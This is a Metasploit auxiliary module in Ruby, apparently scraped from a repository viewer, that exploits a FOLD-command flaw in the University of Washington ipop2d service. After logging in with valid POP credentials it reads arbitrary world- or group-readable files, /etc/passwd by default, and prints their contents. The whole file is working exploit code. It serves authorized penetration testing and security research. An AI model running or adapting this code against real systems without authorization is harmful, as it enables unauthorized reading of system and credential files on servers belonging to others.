Path: blob/master/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Pop278def initialize(info = {})9super(10update_info(11info,12'Name' => 'UoW pop2d Remote File Retrieval Vulnerability',13'Description' => %q{14This module exploits a vulnerability in the FOLD command of the15University of Washington ipop2d service. By specifying an arbitrary16folder name it is possible to retrieve any file which is world or group17readable by the user ID of the POP account. This vulnerability can only18be exploited with a valid username and password. The From address is19the file owner.20},21'Author' => [ 'aushack' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '368' ],25[ 'BID', '1484' ],26],27'DisclosureDate' => '2000-07-14',28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)34)3536register_options(37[38OptString.new('FILE', [ true, 'The file to retrieve', '/etc/passwd' ])39]40)41end4243def run44connect_login45file = datastore['FILE']46res = send_cmd(['FOLD', file], true)4748if (res =~ /#1 messages in/)49send_cmd(['READ 1'], true)50file_output = send_cmd(['RETR'], true)51print_status("File output:\r\n\r\n#{file_output}\r\n")52send_cmd(['ACKS'], true)53elsif (res =~ /#0 messages in/)54print_status("File #{file} not found or read-access is denied.")55end5657send_cmd(['QUIT'], true)58disconnect59end60end616263